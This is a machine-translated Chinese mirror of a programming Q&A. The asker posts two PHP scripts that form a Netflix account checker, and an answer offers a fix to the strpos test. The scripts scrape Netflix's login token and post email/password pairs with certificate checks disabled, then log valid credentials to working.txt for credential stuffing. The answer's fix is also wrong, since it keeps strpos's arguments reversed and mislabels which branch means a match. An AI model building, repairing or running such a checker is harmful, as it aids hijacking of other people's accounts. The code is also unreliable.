簡體   English   中英

PHP-cURL + strpos問題

[英]PHP - cURL + strpos Issues

我有一個腳本,用於檢查經過測試的netflix帳戶是否有效。 由於某種原因,它只是拒絕工作,我不知道我在做什么錯。

Checker頁面的PHP EDIT:添加了if語句,因此它不會僅在頁面上發布空白:

<?php
if(isset($_POST['e']) && isset($_POST['p'])){
$e = @$_POST['e'];
$p = @$_POST['p'];

$URL = 'MyAPI.php?e='.$e.'&p='.$p;

$ch     = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$page = curl_exec($ch);

$haystack = $page;
$needle   = 'profilesGateWrapper';

if(strpos($needle, $haystack) !== true) {
    file_put_contents('working.txt','test', FILE_APPEND);
} else {
    echo $page;
}

}
?>

MyAPI.php:

<?php

$email=$_GET['e'];
$pass=$_GET['p'];

$url='https://signup.netflix.com/Login'; //httpS 
$cookie="cookie.txt";

$ch2 = curl_init();
curl_setopt ($ch2, CURLOPT_URL, $url);
curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"); 
curl_setopt ($ch2, CURLOPT_TIMEOUT, 60);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false); 
curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch2, CURLOPT_COOKIEJAR, $cookie);
curl_setopt ($ch2, CURLOPT_REFERER, $url);

$result2 = curl_exec ($ch2);

curl_close($ch2);

$expA=explode('name="authURL" value="',$result2);
$expB=explode('"/>',$expA[1]);
$auth=$expB[0];

//$postdata = "email=".urlencode($email)."&password=".$pass."&authURL=".urlencode($auth).'&RememberMe=false';
$postdata = http_build_query( array('email' => urlencode($email), 'password' => $pass, 'authURL' => urlencode($auth))); 
$postdata = http_build_query( array('email' => $email, 'password' => $pass, 'authURL' => $auth, 'RememberMe' => '')); 

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_COOKIEFILE, $cookie); 
curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt ($ch, CURLOPT_REFERER, $url);

curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($ch, CURLOPT_POST, 1);
$result = curl_exec ($ch);

echo $result;

curl_close($ch);

?>

我已經嘗試過strpos的!==和===等的所有組合以及對與錯,但是沒有用。

為什么要尋找profileGateWrapper是因為登錄后只能在HTML中看到它。

當我輸入var_dump($ page); 在$ page之后,然后輸入電子郵件並通過,它將在您登錄時向我顯示該頁面,因此cURL沒有問題。

我的目標是基本上確定您是否已登錄,如果已登錄,則在文件_put_content中將帶有中間的:的Email:Password插入到working.txt文件中,然后else語句(如果找不到),然后將email:pass轉換為invalid.txt 。 但這對於我來說已經不工作了,大約2個小時了,請有人幫忙。

我想你想做的是

if(strpos($needle, $haystack) !== false) { // this means not found
    echo $page;
} else { // this means strpos returns integer (the position of occurrence)
    file_put_contents('working.txt','test', FILE_APPEND);
}

strpos不會返回true

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM